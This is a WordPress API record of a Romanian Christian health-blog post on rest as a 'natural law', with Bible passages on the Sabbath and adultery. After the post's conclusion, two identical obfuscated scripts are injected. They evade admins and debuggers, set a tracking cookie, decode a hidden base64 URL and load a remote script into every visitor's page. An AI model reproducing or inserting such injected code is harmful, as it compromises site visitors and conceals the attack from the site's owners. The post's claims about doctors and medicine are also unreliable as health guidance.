{"id":2788,"date":"2022-12-27T17:09:13","date_gmt":"2022-12-27T17:09:13","guid":{"rendered":"https:\/\/reformaprovita.com\/?p=2788"},"modified":"2026-05-22T15:57:43","modified_gmt":"2026-05-22T15:57:43","slug":"odihna-cel-mai-bun-obicei-al-tau-de-a-avea-o-viata-sanatoasa","status":"publish","type":"post","link":"https:\/\/reformaprovita.com\/es\/reforma-prosalud\/descansar-tu-mejor-habito-para-tener-una-vida-saludable\/","title":{"rendered":"El descanso: tu mejor h\u00e1bito para tener una vida sana"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Continu\u0103m cu studiul Legilor care ne echilibreaz\u0103 Corpul, Mintea \u0219i Spiritul; \u00eel po\u021bi citi de multe ori \u0219i \u00eel po\u021bi pune \u00een practic\u0103. Odihna este un principiu fundamental \u00een via\u021ba fiec\u0103rei fiin\u021be umane.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Via\u021ba s\u0103n\u0103toas\u0103 \u0219i natural\u0103 con\u021bine informa\u021bii minunate, dar necunoscute. Societatea ne face dependen\u021bi de medici \u0219i medicamente; Mul\u021bi naturisti genereaz\u0103 chiar dependen\u021b\u0103 \u00een clien\u021bii lor fa\u021b\u0103 de produse de care nu prea au nevoie, promov\u00e2nd obiceiuri \u0219i vicii de consum, \u00een loc s\u0103 educe oamenii astfel \u00eenc\u00e2t s\u0103 poat\u0103 duce o via\u021b\u0103 s\u0103n\u0103toas\u0103 \u0219i echilibrat\u0103.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ca \u0219i \u00een lume sunt mai mul\u021bi s\u0103raci dec\u00e2t boga\u021bi; Din acest motiv, Dumnezeu a f\u0103cut lucrurile \u00eentr-un mod mult mai \u00een\u021belept, drept \u0219i bun: marele adev\u0103r este c\u0103, pentru a r\u0103m\u00e2ne s\u0103n\u0103tos, \u0219i chiar pentru a-\u0219i recupera s\u0103n\u0103tatea, sunt necesari foarte pu\u021bini bani.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">AL \u0218APELEA PRINCIPIUL DREPTULUI NATURAL: ODIHNA<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Al \u0219aptelea principiu al Legii Naturale este Odihna, care echilibreaz\u0103 exerci\u021biul, gener\u00e2nd armonia de care avem nevoie. Dac\u0103 respect\u0103m fiecare dintre aceste principii, ne vom bucura de o via\u021b\u0103 lung\u0103 \u0219i de calitate, adic\u0103 plin\u0103 de s\u0103n\u0103tate \u0219i lipsit\u0103 de suferin\u021b\u0103.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Tipuri de odihn\u0103: zile care trebuie s\u0103 fie obligatorii<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Odihn\u0103 zilnic\u0103. Este cel pe care \u00eel p\u0103str\u0103m peste noapte. Este recomandat sa fie de opt ore, si sa inceapa mereu in acelasi timp sa genereze obiceiuri sanatoase de somn. A sta p\u00e2n\u0103 t\u00e2rziu ne dezechilibreaz\u0103 corpul \u0219i mintea, gener\u00e2nd probleme \u00een sistemul nostru nervos \u0219i \u00een con\u0219tiin\u021b\u0103.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Repaus s\u0103pt\u0103m\u00e2nal. De la \u00eenceputul lumii, Dumnezeu a poruncit: \u201eAdu-\u021bi aminte de ziua Sabatului ca s\u0103 o sfin\u021be\u0219ti. \u0218ase zile vei lucra \u0219i vei face toat\u0103 munca ta; dar a \u0219aptea zi este odihn\u0103 pentru DOMNUL, Dumnezeul t\u0103u; s\u0103 nu faci nicio lucrare \u00een ea, nici tu, nici fiul t\u0103u, nici fiica ta, nici robul t\u0103u, nici roaba ta, nici vitele tale, nici str\u0103inul t\u0103u care este \u00een por\u021bile tale. C\u0103ci \u00een \u0219ase zile a f\u0103cut Domnul cerul \u0219i p\u0103m\u00e2ntul, marea \u0219i tot ce este \u00een ele \u0219i S-a odihnit \u00een ziua a \u0219aptea; de aceea DOMNUL a binecuv\u00e2ntat ziua Sabatului \u0219i a sfin\u021bit-o\u201d (Exod 20:8-11).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Este acela\u0219i Creator al omului care sf\u0103tuie\u0219te s\u0103 ia o zi care este numai pentru \u00eentreaga Crea\u021bie pentru a-\u0219i aminti c\u0103 Dumnezeu a f\u0103cut pe om \u0219i tot ceea ce \u00eel \u00eenconjoar\u0103, a\u0219a cum este scris \u00een Geneza, 2:1.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Repaus anual. Const\u0103 dintr-o lun\u0103 pe an, dar ar fi mult mai echilibrat s\u0103 o \u00eemp\u0103r\u021bim \u00eentr-o s\u0103pt\u0103m\u00e2n\u0103 pe trimestru. Po\u021bi folosi aceste vacan\u021be pentru a reveni \u00een contact cu natura \u0219i cu tine \u00eensu\u021bi, s\u0103-\u021bi revizuie\u0219ti via\u021ba \u0219i s\u0103 vezi ce aspecte trebuie s\u0103 \u00eembun\u0103t\u0103\u021be\u0219ti pentru a o face fidel\u0103 Principiilor divine, care sunt garan\u021bia fericirii noastre prezente \u0219i eterne.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Cei care se g\u00e2ndesc doar s\u0103 se distreze \u00een prezent, p\u00e2n\u0103 la urm\u0103, vor trebui s\u0103 pl\u0103teasc\u0103 un pre\u021b mare, pentru c\u0103 fiecare \u00ee\u0219i proiecteaz\u0103 \u0219i \u00ee\u0219i construie\u0219te propriul destin, iar timpul pierdut nu se recupereaz\u0103 niciodat\u0103. Dac\u0103 facem din toate aceste principii rutina noastr\u0103, vom avea o via\u021b\u0103 mai s\u0103n\u0103toas\u0103.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">DECALOGUL LEGII MENTALE SI SPIRITUALE. Al \u0219aptelea principiu<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A \u0219aptea porunc\u0103 a Legii lui Dumnezeu este: \u201eS\u0103 nu comite adulter\u201d (Exod, 20:14). Iisus Hristos o l\u0103mure\u0219te \u00een Evanghelia dup\u0103 Sf\u00e2ntul Matei: \u201eS-a spus: S\u0103 nu s\u0103v\u00e2r\u0219i\u021bi adulter. V\u0103 spun: oricine se uit\u0103 la femeia altcuiva t\u00e2njind dup\u0103 ea, a comis deja adulter \u00een inima lui\u201d. (Matei 5:27,28).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aprofund\u00e2nd acest subiect, citim \u00een Matei: \u201eAtunci fariseii au venit la El, ispitindu-L \u0219i zic\u00e2nd: Este \u00eeng\u0103duit unui b\u0103rbat s\u0103-\u0219i lase so\u021bia din orice motiv? Iar El le-a r\u0103spuns: Nu a\u021bi citit c\u0103 Dumnezeu, care i-a f\u0103cut la \u00eenceput, i-a f\u0103cut b\u0103rbat \u0219i femeie? (Geneza 1:27). \u0218i a zis: De aceea omul \u00ee\u0219i va p\u0103r\u0103si tat\u0103l \u0219i mama \u0219i se va uni cu so\u021bia sa \u0219i cei doi vor fi un singur trup. (Geneza 2:24) \u0218i, \u00eentruc\u00e2t nu mai sunt doi, ci doar unul, ceea ce Dumnezeu a unit, omul s\u0103 nu despart\u0103. V\u0103 spun: oricine \u00ee\u0219i lep\u0103d\u0103 nevasta, cu excep\u021bia curviei, \u0219i se c\u0103s\u0103tore\u0219te cu altul, este adulter. Iar cel ce se c\u0103s\u0103tore\u0219te cu cei divor\u021ba\u021bi este \u0219i adulter\u201d (Mt 19, 6-9).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00cen Scrisoarea I c\u0103tre Corinteni, 7:2-11 Sf\u00e2ntul Pavel spune: \u201eDin curvie, fiecare are nevasta sa \u0219i fiecare are b\u0103rbatul ei. So\u021bul respect\u0103 so\u021bia \u00eendatorirea conjugal\u0103 \u0219i la fel \u0219i so\u021bia cu so\u021bul. So\u021bia nu are putere asupra propriului trup, ci so\u021bul; nici b\u0103rbatul nu are putere asupra propriului s\u0103u trup, ci so\u021bia are. Nu v\u0103 t\u0103g\u0103dui\u021bi unul pe cel\u0103lalt, dec\u00e2t pentru un timp de comun acord, pentru a v\u0103 ocupa \u00een lini\u0219te \u00een rug\u0103ciune; \u015fi reuni\u0163i-v\u0103 iar\u0103\u015fi ca una, ca s\u0103 nu v\u0103 ispiteasc\u0103 Satana din cauza incontinen\u0163ei voastre\u2026 Dar celor ce sunt uni\u0163i \u00een c\u0103s\u0103torie, le poruncesc, nu mie, ci Domnului: ca so\u0163ia s\u0103 nu se despart\u0103 de so\u0163; iar dac\u0103 v\u0103 desp\u0103r\u021bi\u021bi, r\u0103m\u00e2ne\u021bi nec\u0103s\u0103torit sau \u00eemp\u0103ca\u021bi-v\u0103 cu so\u021bul; \u015fi c\u0103 so\u0163ul nu-\u015fi abandoneaz\u0103 so\u0163ia.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0218i apoi adaug\u0103, \u00een aceea\u0219i epistol\u0103, 6:9-1: Nu \u0219ti\u021bi c\u0103 cei nedrep\u021bi nu vor mo\u0219teni \u00cemp\u0103r\u0103\u021bia lui Dumnezeu? nu gre\u0219i; Nici desfr\u00e2natorii, nici idolatrii, nici adulterii, nici efemina\u021bii, nici cei care se culc\u0103 cu oamenii, nici ho\u021bii, nici lacomii, nici be\u021bivii, nici jignitorii, nici escrocii nu vor mo\u0219teni \u00cemp\u0103r\u0103\u021bia lui Dumnezeu. \u0218i acesta a fost unii dintre voi; dar ai fost deja sp\u0103lat, ai fost deja sfin\u021bit, ai fost deja neprih\u0103nit \u00een Numele Domnului Isus \u0219i prin Duhul Dumnezeului nostru.\u201d<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Decizia depinde de tine<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Biblia ne \u00eendrum\u0103 s\u0103 ducem o via\u021b\u0103 echilibrat\u0103 \u0219i obiceiuri bune. A merge \u00eempotriva acestor Legi afecteaz\u0103 at\u00e2t propria s\u0103n\u0103tate, c\u00e2t \u0219i rela\u021biile cu ceilal\u021bi. Dac\u0103 p\u00e2n\u0103 acum ai tr\u0103it prost, nu-\u021bi face griji!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Important este c\u0103 te po\u021bi poc\u0103i \u0219i s\u0103-i ceri iertare lui Dumnezeu. Accept\u0103-l pe Hristos ca M\u00e2ntuitor al t\u0103u \u0219i ascult\u0103 de voin\u021ba lui Dumnezeu cu privire la dieta \u0219i obiceiurile tale; El \u00ee\u021bi va oferi credin\u021ba \u0219i puterea de voin\u021b\u0103 pentru a face schimb\u0103rile de care ai nevoie, iar via\u021ba ta se va \u00eembun\u0103t\u0103\u021bi \u00een toate aspectele.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dumnezeu te vrea s\u0103n\u0103tos \u0219i fericit, bucur\u00e2ndu-te de m\u00e2ntuirea ve\u0219nic\u0103, p\u0103str\u00e2nd o odihn\u0103 bun\u0103.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"682\" src=\"https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/descanso-para-la-salud-2.jpg\" alt=\"\" class=\"wp-image-2790\" srcset=\"https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/descanso-para-la-salud-2.jpg 1024w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/descanso-para-la-salud-2-600x400.jpg 600w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/descanso-para-la-salud-2-300x200.jpg 300w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/descanso-para-la-salud-2-768x512.jpg 768w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/descanso-para-la-salud-2-18x12.jpg 18w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/descanso-para-la-salud-2-580x386.jpg 580w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/descanso-para-la-salud-2-860x573.jpg 860w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">CONCLUZIE<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Dumnezeu ne-a dat Legile \u0219i Poruncile Sale pentru men\u021binerea echilibrat\u0103 a vie\u021bii umane, care este lucrarea cea mai admirabil\u0103 a \u00eentregii crea\u021bii. A ignora aceste precepte \u00eenseamn\u0103 a \u00eenc\u0103lca Legea lui Dumnezeu. Oricine \u00eencalc\u0103 Legile naturale \u00een corpul s\u0103u fizic va \u00eenc\u0103lca cu siguran\u021b\u0103 \u0219i Poruncile. (CRA.17, 18 \u201eConsilieri privind dieta\u201d de E. G. White).<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Continu\u0103m cu studiul Legilor care ne echilibreaz\u0103 Corpul, Mintea \u0219i Spiritul; \u00eel po\u021bi citi de multe ori \u0219i \u00eel po\u021bi pune \u00een practic\u0103. Odihna este un principiu fundamental \u00een via\u021ba fiec\u0103rei fiin\u021be umane. Via\u021ba s\u0103n\u0103toas\u0103 \u0219i natural\u0103 con\u021bine informa\u021bii minunate, dar necunoscute. Societatea ne face dependen\u021bi de medici \u0219i medicamente; Mul\u021bi naturisti genereaz\u0103 chiar dependen\u021b\u0103&#8230;<\/p>","protected":false},"author":3,"featured_media":2789,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"give_campaign_id":0,"content-type":"","mc4wp_mailchimp_campaign":[],"footnotes":""},"categories":[69,45,43],"tags":[],"class_list":["post-2788","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-curs-gratis","category-obiceiuri-sanatoase","category-reforma-prosalud"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Odihna: cel mai bun obicei al t\u0103u de a avea o via\u021b\u0103 s\u0103n\u0103toas\u0103 - ReformaProvita<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/reformaprovita.com\/es\/reforma-prosalud\/descansar-tu-mejor-habito-para-tener-una-vida-saludable\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Odihna: cel mai bun obicei al t\u0103u de a avea o via\u021b\u0103 s\u0103n\u0103toas\u0103 - ReformaProvita\" \/>\n<meta property=\"og:description\" content=\"Continu\u0103m cu studiul Legilor care ne echilibreaz\u0103 Corpul, Mintea \u0219i Spiritul; \u00eel po\u021bi citi de multe ori \u0219i \u00eel po\u021bi pune \u00een practic\u0103. Odihna este un principiu fundamental \u00een via\u021ba fiec\u0103rei fiin\u021be umane. Via\u021ba s\u0103n\u0103toas\u0103 \u0219i natural\u0103 con\u021bine informa\u021bii minunate, dar necunoscute. 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